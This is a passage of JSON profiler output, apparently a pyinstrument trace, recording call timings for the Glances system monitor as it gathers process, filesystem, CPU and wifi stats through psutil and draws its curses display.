0.001999368003453128},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026419952046126, \"l939\": 0.0020026419952046126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026419952046126, \"l1593\": 0.0020026419952046126},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026419952046126, \"l2052\": 0.0020026419952046126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026419952046126, \"l1593\": 0.0020026419952046126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026419952046126, \"l382\": 0.0020026419952046126},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020026419952046126, \"l1719\": 0.0020026419952046126},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995835998968687, \"l836\": 0.001995835998968687},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995835998968687, \"l1593\": 0.001995835998968687},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995835998968687, \"l1796\": 0.001995835998968687},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997980052721687, \"l687\": 0.0019997980052721687},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997980052721687, \"l748\": 0.0019997980052721687},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997980052721687, \"l1593\": 0.0019997980052721687},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997980052721687, \"l1754\": 0.0019997980052721687},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997980052721687, \"l1647\": 0.0019997980052721687},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019997980052721687, \"l1638\": 0.0019997980052721687},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999369978904724, \"l939\": 0.0019999369978904724},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999369978904724, \"l1593\": 0.0019999369978904724},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999369978904724, \"l2053\": 0.0019999369978904724},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999219997145701, \"l639\": 0.007999219997145701},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999219997145701, \"l314\": 0.007999219997145701},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999219997145701, \"l347\": 0.007999219997145701},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999219997145701, \"l394\": 0.007999219997145701},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999219997145701, \"l1593\": 0.007999219997145701},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006240010843612, \"l1857\": 0.0020006240010843612},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006240010843612, \"l1593\": 0.0020006240010843612},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006240010843612, \"l375\": 0.0020006240010843612},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006240010843612, \"l1689\": 0.0020006240010843612},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998422995209694, \"l1857\": 0.003998422995209694},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998422995209694, \"l1593\": 0.003998422995209694},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998422995209694, \"l375\": 0.003998422995209694},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998422995209694, \"l1683\": 0.003998422995209694},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.003998,\"attributes\": {\"l730\": 0.003998422995209694},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.003998,\"attributes\": {\"l719\": 0.0019997339986730367, \"l718\": 0.001998688996536657},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.__enter__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0019996419941890053, \"l689\": 0.0019996419941890053},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.002000,\"attributes\": {\"l589\": 0.0019996419941890053},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.002000,\"attributes\": {\"l584\": 0.0019996419941890053},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.002000,\"attributes\": {\"cpmem\": 0.0019996419941890053, \"l478\": 0.0019996419941890053},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002079,\"attributes\": {\"cProgramlistPlugin\": 0.0020787419998669066, \"l166\": 0.0020787419998669066},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002079,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.005919,\"attributes\": {\"cProgramlistPlugin\": 0.005918557995755691, \"l678\": 0.005918557995755691},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005919,\"attributes\": {\"cProgramlistPlugin\": 0.005918557995755691, \"l633\": 0.001919883994560223, \"l656\": 0.001998910003749188, \"l634\": 0.00199976399744628},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001920,\"attributes\": {\"cProgramlistPlugin\": 0.001919883994560223, \"l623\": 0.001919883994560223},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001920,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002002,\"attributes\": {\"cPercpuPlugin\": 0.002002161003474612, \"l1278\": 0.002002161003474612},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002002,\"attributes\": {\"l1295\": 0.002002161003474612},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/percpu/__init__.py\\u0000127\",\"time\": 0.002002,\"attributes\": {\"cPercpuPlugin\": 0.002002161003474612, \"l133\": 0.002002161003474612},\"children\": [{\"identifier\": \"get_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000308\",\"time\": 0.002002,\"attributes\": {\"cCpuPercent\": 0.002002161003474612, \"l315\": 0.002002161003474612},\"children\": [{\"identifier\": \"_compute_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000318\",\"time\": 0.002002,\"attributes\": {\"cCpuPercent\": 0.002002161003474612, \"l319\": 0.002002161003474612},\"children\": [{\"identifier\": \"cpu_times_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001871\",\"time\": 0.002002,\"attributes\": {\"l1926\": 0.002002161003474612},\"children\": [{\"identifier\": \"calculate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001890\",\"time\": 0.002002,\"attributes\": {\"l1892\": 0.002002161003474612},\"children\": [{\"identifier\": \"_cpu_times_deltas\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001768\",\"time\": 0.002002,\"attributes\": {\"l1772\": 0.002002161003474612},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000242\",\"time\": 0.002141,\"attributes\": {\"cProcesslistPlugin\": 0.0021412529968074523, \"l260\": 0.0021412529968074523},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002141,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007857,\"attributes\": {\"cProcesslistPlugin\": 0.007857402997615281, \"l678\": 0.007857402997615281},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001857,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.006000,\"attributes\": {\"cProcesslistPlugin\": 0.006000458997732494, \"l656\": 0.004000011998869013, \"l634\": 0.002000446998863481},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.020089,\"attributes\": {\"cLoadPlugin\": 0.002001848006329965, \"l1280\": 0.002001848006329965, \"cFsPlugin\": 0.0147934099950362, \"l1278\": 0.01808716899540741, \"cWifiPlugin\": 0.0014542270000674762, \"cQuicklookPlugin\": 0.001839532000303734},\"children\": [{\"identifier\": \"get_refresh\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000764\",\"time\": 0.002002,\"attributes\": {\"cLoadPlugin\": 0.002001848006329965, \"l769\": 0.002001848006329965},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.018087,\"attributes\": {\"l1295\": 0.01808716899540741},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.014793,\"attributes\": {\"cFsPlugin\": 0.0147934099950362, \"l131\": 0.0147934099950362},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.014793,\"attributes\": {\"cFsPlugin\": 0.0147934099950362, \"l182\": 0.0147934099950362},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.014793,\"attributes\": {\"l630\": 0.00318860900006257, \"l631\": 0.01160480099497363},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003189,\"attributes\": {\"cForkProcess\": 0.00318860900006257, \"l121\": 0.00318860900006257},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003189,\"attributes\": {\"l281\": 0.00318860900006257},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003189,\"attributes\": {\"cPopen\": 0.00318860900006257, \"l20\": 0.00318860900006257},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003189,\"attributes\": {\"cPopen\": 0.00318860900006257, \"l70\": 0.00318860900006257},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003189,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.011605,\"attributes\": {\"cForkProcess\": 0.01160480099497363, \"l156\": 0.01160480099497363},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005387,\"attributes\": {\"cPopen\": 0.005387336997955572, \"l41\": 0.005387336997955572},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005387,\"attributes\": {\"l1165\": 0.005387336997955572},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005387,\"attributes\": {\"cPollSelector\": 0.005387336997955572, \"l398\": 0.005387336997955572},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005387,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005387,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001434,\"attributes\": {},\"children\": []},{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004783,\"attributes\": {\"cPopen\": 0.00478343299619155, \"l41\": 0.00478343299619155},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004783,\"attributes\": {\"l1165\": 0.00478343299619155},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004783,\"attributes\": {\"cPollSelector\": 0.00478343299619155, \"l398\": 0.00478343299619155},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004783,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004783,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001454,\"attributes\": {\"cWifiPlugin\": 0.0014542270000674762, \"l101\": 0.0014542270000674762},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001454,\"attributes\": {\"cWifiPlugin\": 0.0014542270000674762, \"l119\": 0.0014542270000674762},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001454,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001840,\"attributes\": {\"cQuicklookPlugin\": 0.001839532000303734, \"l117\": 0.001839532000303734},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.001840,\"attributes\": {\"cCpuPercent\": 0.001839532000303734, \"l252\": 0.001839532000303734},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.001840,\"attributes\": {\"l1945\": 0.001839532000303734},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.001840,\"attributes\": {\"l648\": 0.001839532000303734},\"children\": [{\"identifier\": \"_cpu_get_cpuinfo_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000629\",\"time\": 0.001840,\"attributes\": {\"l635\": 0.001839532000303734},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001840,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.061491,\"attributes\": {\"cGlancesCursesStandalone\": 2.0614908749994356, \"l1154\": 0.04991244000120787, \"l1169\": 1.0070842839995748, \"l1172\": 1.004494150998653},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.049912,\"attributes\": {\"cGlancesCursesStandalone\": 0.04991244000120787, \"l1135\": 0.04991244000120787},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049912,\"attributes\": {\"cGlancesCursesStandalone\": 0.04991244000120787, \"l569\": 0.0479098280047765, \"l598\": 0.0020026119964313693},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047910,\"attributes\": {\"cGlancesCursesStandalone\": 0.0479098280047765, \"l545\": 0.0479098280047765},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.047910,\"attributes\": {\"cProgramlistPlugin\": 0.021909773000515997, \"l1101\": 0.0479098280047765, \"cProcesslistPlugin\": 0.026000055004260503},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.047910,\"attributes\": {\"cProgramlistPlugin\": 0.021909773000515997, \"l587\": 0.0479098280047765, \"cProcesslistPlugin\": 0.026000055004260503},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.047910,\"attributes\": {\"cProgramlistPlugin\": 0.021909773000515997, \"l538\": 0.03988575699622743, \"l537\": 0.00402449300599983, \"cProcesslistPlugin\": 0.026000055004260503, \"l539\": 0.0019994730027974583, \"l544\": 0.002000104999751784},\"children\": [{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.002006,\"attributes\": {\"cProgramlistPlugin\": 0.0020060290044057183, \"l378\": 0.0020060290044057183},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002006,\"attributes\": {\"cProgramlistPlugin\": 0.0020060290044057183, \"l1130\": 0.0020060290044057183},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000681997742504, \"l325\": 0.002000681997742504},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000681997742504, \"l856\": 0.002000681997742504},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000681997742504, \"l969\": 0.002000681997742504},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001907,\"attributes\": {\"cProgramlistPlugin\": 0.0019069069967372343, \"l360\": 0.0019069069967372343},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001907,\"attributes\": {\"cProgramlistPlugin\": 0.0019069069967372343, \"l340\": 0.0019069069967372343},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001907,\"attributes\": {\"cProgramlistPlugin\": 0.0019069069967372343, \"l1251\": 0.0019069069967372343},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001907,\"attributes\": {\"l445\": 0.0019069069967372343},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001907,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002024,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.003974,\"attributes\": {\"cProgramlistPlugin\": 0.00397360599890817, \"l440\": 0.00397360599890817},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.003974,\"attributes\": {\"cProgramlistPlugin\": 0.00397360599890817, \"l294\": 0.0019735050009330735, \"l296\": 0.002000100997975096},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001974,\"attributes\": {},\"children\": []},{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000100997975096, \"l969\": 0.002000100997975096},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019982230005552992, \"l325\": 0.0019982230005552992},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019982230005552992, \"l882\": 0.0019982230005552992},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019982230005552992, \"l902\": 0.0019982230005552992},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001998,\"attributes\": {\"cGlancesThresholds\": 0.0019982230005552992, \"l45\": 